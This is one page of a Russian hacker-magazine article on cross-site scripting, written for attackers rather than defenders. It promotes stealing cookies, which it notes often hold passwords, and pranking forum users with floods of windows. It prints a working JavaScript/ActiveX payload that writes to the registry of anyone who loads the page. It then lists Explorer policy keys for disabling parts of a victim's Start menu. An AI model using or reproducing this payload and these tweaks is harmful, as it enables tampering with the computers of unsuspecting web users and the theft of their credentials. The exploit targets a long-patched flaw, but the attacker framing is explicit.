Cross Site Scripting

Xakep, номер #042, стр. 042-038-1

ломаем клиента через сервер и наоборот

Кислицин Никита aka Nikitos (nikitoz@fromru.com)

Ты, наверняка, неоднократно слышал про Cross Site Scripting, да и я писал об этой уязвимости в статье “Взлом PHP”. Тогда я отвертелся, подпираемый размером журнала сказал: “Почитай доки по javascript”. Сейчас настало время подробно рассказать о том, что из себя представляет эта уязвимость, что с ее помощью можно сделать и вообще, нафиг оно тебе надо.

Не знаю, как правильно переводится “Cross Site Scripting”, но, видимо, примерно так: “сценарий с другой стороны скрипта”. И действительно, несмотря на хардкорный каламбур, этот перевод довольно точен: уязвимость позволяет, используя функции скрипта, выполнить на машине клиента любой код, встраиваемый в html (Javascript, VBScript, ActiveX, т.п.).

Казалось бы, что тебе это может дать? Как ни странно, порой многое: благодаря дыркам в ActiveX ты сможешь писать в реестр (работает почти на всех окнах!), сможешь натырить печенья (а в них ведь иногда кладут пароли и другую конфиденциальную информацию!). А если ты, например, встретил баг в большом форуме, то есть шанс накрутить баннерных показов и просто здорово поржать над юзерами, пуская различные яваскриптовые приколы, которые открывают пару сотен окон и начинают ими двигать по экрану ;).

Но обо всем по порядку.

/* Пишем в реестр */

В ноябре 2000 года Microsoft выпустила патч на дыру под страшным названием “Microsoft VM ActiveX Component vulnerability” – именно эта уязвимость позволяет производить запись в реестр. Несмотря на то, что прошло уже полтора года, почти все версии Windows восприимчивы к следующему коду:

<script>

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function yuzi3(){

try{

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

try{

Shl.RegWrite("путь\к\ключу\","значение");

}

catch(e){}

}

catch(e){}

}

setTimeout("yuzi3()",1000);

</script>

Полтора года. Большой срок, правда? Но не для пользователей windows – поверь, среднестатистический юзер не читает багтраки, не подписан на secure-рассылки, и, следовательно, не качает патчи ;).

Справедливости ради надо сказать, что сейчас (когда я пишу эти строки;)), моя машина так же восприимчива к этому багу – я недавно менял хард, а в процессе переезда потерял заветный Servise Pack ;(. Качаю, уже 0.15% ;). Итак, глумимся над реестром. Что корыстного можно с него поднять? Я приведу несколько примеров, реализация которых дает наиболее красивые и осязаемые результаты.

/* X-твикинг */

Издевательства над меню "пуск":

Все ключи создаются по адресу HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionPoliciesExplorer

NoClose=1 - убирает из меню пунктик "завершение работы" ;)

NoFind - убирает "поиск"

NoSetTaskbar - убирает "настройка"

NoSMHelp - и помощи он не дождется!

NoCommonGroups - удаляет "стандартные" программы

Содержание  Вперед на стр. 042-038-2

ttfb: 38.527011871338 ms